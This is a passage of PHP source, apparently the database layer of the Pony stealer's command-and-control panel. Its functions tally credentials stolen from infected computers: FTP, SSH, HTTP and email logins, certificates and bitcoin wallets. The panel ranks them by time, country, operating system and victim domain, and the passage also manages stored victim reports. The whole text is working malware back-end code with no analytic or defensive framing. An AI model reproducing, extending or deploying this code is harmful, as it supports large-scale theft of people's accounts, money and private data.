// append IP filter
if (strlen($report_source_ip))
$query .= ' AND '.CPONY_REPORT_TABLE.'.report_source_ip=\''.mysql_real_escape_string($report_source_ip).'\'';
// append HWID filter
if (strlen($report_hwid))
$query .= ' AND '.CPONY_REPORT_TABLE.'.report_hwid=\''.mysql_real_escape_string($report_hwid).'\'';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return mysql_num_rows($result);
}
return false;
}
function get_report_linked_passwords_count($report_id)
{
$report_id = intval($report_id);
if (!$this->state)
return false;
$query = sprintf("SELECT COUNT(*) as count FROM %s WHERE report_id='%s'", CPONY_FTP_TABLE, $report_id);
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row['count'];
}
return true;
}
return false;
}
function delete_log_items()
{
if (!$this->state)
return false;
$query = sprintf("DELETE FROM %s WHERE (log_source='%s' OR log_source='%s')", mysql_real_escape_string(CPONY_LOG_TABLE), mysql_real_escape_string(CLOG_SOURCE_REPORT),
mysql_real_escape_string(CLOG_SOURCE_GATE));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function get_last_24_mins()
{
$result = 23*60*60;
$time = (time()-23*60*60)%(60*60);
return $result+$time;
}
function get_last_30_days()
{
$result = 24*60*60*27;
$time = (time()-24*60*60*27)%(24*60*60);
return $result+$time;
}
function get_ftp_count_last_24_hours(&$out_array)
{
if (!$this->state)
return false;
$time = $this->get_last_24_mins();
$query = 'SELECT HOUR(import_time) as hour, COUNT(*) as count
FROM pony_ftp
WHERE (url_type=\'ftp\' OR url_type=\'ssh\') AND (import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL '.$time.' SECOND))
GROUP BY HOUR(import_time)';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[intval($row['hour'])] = $row['count'];
return true;
}
return false;
}
function get_http_count_last_24_hours(&$out_array)
{
if (!$this->state)
return false;
$time = $this->get_last_24_mins();
$query = 'SELECT HOUR(import_time) as hour, COUNT(*) as count
FROM pony_ftp
WHERE (url_type=\'http\' OR url_type=\'https\') AND (import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL '.$time.' SECOND))
GROUP BY HOUR(import_time)';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[intval($row['hour'])] = $row['count'];
return true;
}
return false;
}
function get_email_count_last_24_hours(&$out_array)
{
if (!$this->state)
return false;
$time = $this->get_last_24_mins();
$query = 'SELECT HOUR(import_time) as hour, COUNT(*) as count
FROM pony_email
WHERE (import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL '.$time.' SECOND))
GROUP BY HOUR(import_time)';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[intval($row['hour'])] = $row['count'];
return true;
}
return false;
}
function get_report_count_last_24_hours(&$out_array)
{
if (!$this->state)
return false;
$time = $this->get_last_24_mins();
$query = 'SELECT HOUR(import_time) as hour, COUNT(*) as count
FROM pony_report
WHERE (import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL '.$time.' SECOND))
GROUP BY HOUR(import_time)';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[intval($row['hour'])] = $row['count'];
return true;
}
return false;
}
function get_email_count_last_month(&$out_array)
{
if (!$this->state)
return false;
$time = $this->get_last_30_days();
$query = 'SELECT DAY(import_time) as day, COUNT(*) as count
FROM pony_email
WHERE (import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL '.$time.' SECOND))
GROUP BY DAY(import_time)';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[intval($row['day'])] = $row['count'];
return true;
}
return false;
}
function get_ftp_count_last_month(&$out_array)
{
if (!$this->state)
return false;
$time = $this->get_last_30_days();
$query = 'SELECT DAY(import_time) as day, COUNT(*) as count
FROM pony_ftp
WHERE (url_type=\'ftp\' OR url_type=\'ssh\') AND (import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL '.$time.' SECOND))
GROUP BY DAY(import_time)';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[intval($row['day'])] = $row['count'];
return true;
}
return false;
}
function get_http_count_last_month(&$out_array)
{
if (!$this->state)
return false;
$time = $this->get_last_30_days();
$query = 'SELECT DAY(import_time) as day, COUNT(*) as count
FROM pony_ftp
WHERE (url_type=\'http\' OR url_type=\'https\') AND (import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL '.$time.' SECOND))
GROUP BY DAY(import_time)';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[intval($row['day'])] = $row['count'];
return true;
}
return false;
}
function get_report_count_last_month(&$out_array)
{
if (!$this->state)
return false;
$time = $this->get_last_30_days();
$query = 'SELECT DAY(import_time) as day, COUNT(*) as count
FROM pony_report
WHERE (import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL '.$time.' SECOND))
GROUP BY DAY(import_time)';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[intval($row['day'])] = $row['count'];
return true;
}
return false;
}
function get_url_password_stats(&$out_array, $offset)
{
if (!$this->state)
return false;
$query = 'SELECT url_type, COUNT(*) as count
FROM pony_ftp
WHERE ftp_id >= '.mysql_real_escape_string($offset).'
GROUP BY url_type
';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['url_type']] = $row['count'];
return true;
}
return false;
}
function get_ftp_clients_stats(&$out_array)
{
if (!$this->state)
return false;
$query = 'SELECT ftp_client, COUNT(*) as count
FROM pony_ftp
WHERE (url_type=\'ftp\') OR (url_type=\'ssh\')
GROUP BY ftp_client
ORDER BY count DESC
';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['ftp_client']] = $row['count'];
return true;
}
return false;
}
function get_http_clients_stats(&$out_array)
{
if (!$this->state)
return false;
$query = 'SELECT ftp_client, COUNT(*) as count
FROM pony_ftp
WHERE (url_type=\'http\') OR (url_type=\'https\')
GROUP BY ftp_client
ORDER BY count DESC
';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['ftp_client']] = $row['count'];
return true;
}
return false;
}
function get_bitcoin_clients_stats(&$out_array)
{
if (!$this->state)
return false;
$query = 'SELECT wallet_client, COUNT(*) as count
FROM pony_wallet
GROUP BY wallet_client
ORDER BY count DESC
';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['wallet_client']] = $row['count'];
return true;
}
return false;
}
function get_email_clients_stats(&$out_array)
{
if (!$this->state)
return false;
$query = 'SELECT email_client, COUNT(*) as count
FROM pony_email
GROUP BY email_client
ORDER BY count DESC
';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['email_client']] = $row['count'];
return true;
}
return false;
}
function get_os_stats(&$out_array)
{
if (!$this->state)
return false;
$query = "SELECT report_os_name, COUNT(*) as count
FROM pony_report
WHERE parsed='1'
GROUP BY report_os_name
ORDER BY count DESC
";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['report_os_name']] = $row['count'];
return true;
}
return false;
}
function get_email_country_stats(&$out_array)
{
if (!$this->state)
return false;
$query = "SELECT report_country, COUNT(*) as email_count FROM pony_email INNER JOIN pony_report USING (report_id)
WHERE (parsed='1')
GROUP BY report_country
";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['report_country']] = array('email_count'=>$row['email_count']);
return true;
}
return false;
}
function get_cert_country_stats(&$out_array)
{
if (!$this->state)
return false;
$query = "SELECT report_country, COUNT(*) as cert_count FROM pony_cert INNER JOIN pony_report USING (report_id)
WHERE (parsed='1')
GROUP BY report_country
";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['report_country']] = array('cert_count'=>$row['cert_count']);
return true;
}
return false;
}
function get_wallet_country_stats(&$out_array)
{
if (!$this->state)
return false;
$query = "SELECT report_country, COUNT(*) as wallet_count FROM pony_wallet INNER JOIN pony_report USING (report_id)
WHERE (parsed='1')
GROUP BY report_country
";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['report_country']] = array('wallet_count'=>$row['wallet_count']);
return true;
}
return false;
}
function get_ftp_country_stats(&$out_array)
{
if (!$this->state)
return false;
$query = "SELECT report_country, COUNT(*) as ftp_count FROM pony_ftp INNER JOIN pony_report USING (report_id)
WHERE (url_type='ftp' OR url_type='ssh') AND (parsed='1')
GROUP BY report_country
";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['report_country']] = array('ftp_count'=>$row['ftp_count']);
return true;
}
return false;
}
function get_all_country_stats(&$out_array)
{
if (!$this->state)
return false;
$query = "SELECT report_country, COUNT(*) as ftp_count FROM pony_ftp INNER JOIN pony_report USING (report_id)
WHERE parsed='1'
GROUP BY report_country
";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['report_country']] = array('ftp_count'=>$row['ftp_count']);
return true;
}
return false;
}
function get_country_stats(&$out_array)
{
if (!$this->state)
return false;
$query = "SELECT report_country, COUNT(*) as count
FROM pony_report
WHERE parsed='1'
GROUP BY report_country
ORDER BY count DESC, import_time ASC
";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['report_country']] = array('report_count'=>$row['count']);
return true;
}
return false;
}
function get_64bit_stats(&$out_array)
{
if (!$this->state)
return false;
$query = "SELECT report_is_win64, COUNT(*) as count
FROM pony_report
WHERE parsed='1'
GROUP BY report_is_win64
ORDER BY count DESC
";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['report_is_win64']] = $row['count'];
return true;
}
return false;
}
function get_admin_stats(&$out_array)
{
if (!$this->state)
return false;
$query = "SELECT report_admin, COUNT(*) as count
FROM pony_report
WHERE parsed='1'
GROUP BY report_admin
ORDER BY count DESC
";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
$out_array[$row['report_admin']] = $row['count'];
return true;
}
return false;
}
function get_duplicate_report_count($offset = 0)
{
if (!$this->state)
return false;
$offset = intval($offset);
$query = sprintf("SELECT COUNT(*) as count
FROM pony_system_log
WHERE (log_source='%s' AND log_line='NOTIFY_GATE_DUPLICATE_REPORT') AND (log_id >= '%s')
", mysql_real_escape_string(CLOG_SOURCE_GATE), mysql_real_escape_string($offset));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
return $row['count'];
}
return false;
}
function get_domain_name_by_id($domain_id)
{
if (!$this->state)
return false;
$query = 'SELECT url_domain
FROM pony_domainlist
WHERE domain_id=\''.mysql_real_escape_string($domain_id).'\'
LIMIT 1';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row['url_domain'];
}
return true;
}
return false;
}
function get_http_domain_stats(&$out_array)
{
if (!$this->state)
return false;
$query = 'SELECT tbl.domain_id, COUNT(*) as count
FROM (SELECT domain_id FROM pony_ftp WHERE url_type=\'http\' OR url_type=\'https\') as tbl
WHERE domain_id != 0
GROUP BY tbl.domain_id
ORDER BY count DESC
LIMIT 20
';
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
$out_array[$this->get_domain_name_by_id($row['domain_id'])] = $row['count'];
}
return true;
}
return false;
}
function get_admin_name()
{
$query = sprintf("SELECT username FROM pony_user WHERE privileges='admin_all' LIMIT 1");
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row['username'];
}
}
return false;
}
function get_option($option_name, $user_name = '', $default = '')
{
$user_name = trim($user_name);
if (!$this->state)
return $default;
if ($user_name == '')
{
$user_name = $this->get_admin_name();
if ($user_name === false)
return $default;
}
$query = sprintf("SELECT settings FROM pony_user WHERE username='%s'",
mysql_real_escape_string($user_name));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
$options = $row['settings'];
$ini_array = parse_ini($options);
if (is_array($ini_array) && isset($ini_array[$option_name]))
return trim(base64_decode(strtr($ini_array[$option_name], '-_,', '+/='), true));
else
return $default;
}
}
return $default;
}
function get_multi_option($option_name, $option_count, $user_name = '')
{
$return_str = $this->get_option($option_name, $user_name);
if (!$return_str)
$return_str = '0';
$return_array = explode('|', $return_str);
while (count($return_array) < $option_count)
{
$return_array[] = '0';
}
return $return_array;
}
function set_multi_option($option_name, $option_values, $user_name = '')
{
return $this->set_option($option_name, implode("|", $option_values), $user_name);
}
function set_option($option_name, $option_value, $user_name = '')
{
$user_name = trim($user_name);
$option_name = trim($option_name);
$option_value = trim($option_value);
if (!$this->state)
return false;
if ($user_name == '')
{
$user_name = $this->get_admin_name();
if ($user_name === false)
return false;
}
$query = sprintf("SELECT settings FROM pony_user WHERE username='%s'",
mysql_real_escape_string($user_name));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
if ($row = mysql_fetch_assoc($result))
{
$settings = $row['settings'];
} else
return false;
if ($option_name == '')
$option_name = 'default';
$ini_array = parse_ini($settings);
$ini_array[$option_name] = strtr(base64_encode($option_value), '+/=', '-_,');
$ini_string = collect_ini_array($ini_array);
$query = sprintf("UPDATE pony_user SET settings='%s' WHERE username='%s'",
mysql_real_escape_string($ini_string),
mysql_real_escape_string($user_name));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function optimize_table($table_name)
{
$table_name = trim($table_name);
if (!$this->state || !strlen($table_name))
return false;
$query = sprintf('OPTIMIZE TABLE %s', mysql_real_escape_string($table_name));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function drop_table($table_name)
{
$table_name = trim($table_name);
if (!$this->state || !strlen($table_name))
return false;
$query = sprintf('DROP TABLE IF EXISTS %s', mysql_real_escape_string($table_name));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function report_remove_errors($report_id)
{
$report_id = intval($report_id);
if (!$this->state || $report_id <= 0)
return false;
$query = sprintf("DELETE FROM pony_system_log WHERE report_id='%s'", mysql_real_escape_string($report_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function get_auto_value($table_name)
{
$table_name = trim($table_name);
if (!$this->state || !strlen($table_name))
return false;
$query = sprintf('SHOW TABLE STATUS LIKE \'%s\'', mysql_real_escape_string($table_name));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row['Auto_increment'];
}
}
return false;
}
function get_offset_value_count($query, $value_id, $table_name)
{
$table_name = trim($table_name);
if (!$this->state || !strlen($table_name))
return false;
$query = sprintf('SELECT MIN(%s) as idx, COUNT(*) as count FROM `%s` ', mysql_real_escape_string($value_id), mysql_real_escape_string($table_name)).$query;
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return array($row['idx'], $row['count']);
}
}
return false;
}
function lock_all_tables()
{
if (!$this->state)
return false;
$query = "LOCK TABLES ".implode(' WRITE, ', $this->required_tables)." WRITE";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function unlock_all_tables()
{
// try to unlock at any state
/*if (!$this->state)
return false;*/
$query = "UNLOCK TABLES";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function report_remove($report_id)
{
$report_id = intval($report_id);
if (!$this->state || $report_id <= 0)
return false;
$query = sprintf("DELETE FROM pony_report_data USING pony_report_data INNER JOIN pony_report USING (data_id) WHERE report_id='%s'", mysql_real_escape_string($report_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
$query = sprintf("DELETE FROM pony_report WHERE report_id='%s'", mysql_real_escape_string($report_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
}
return false;
}
}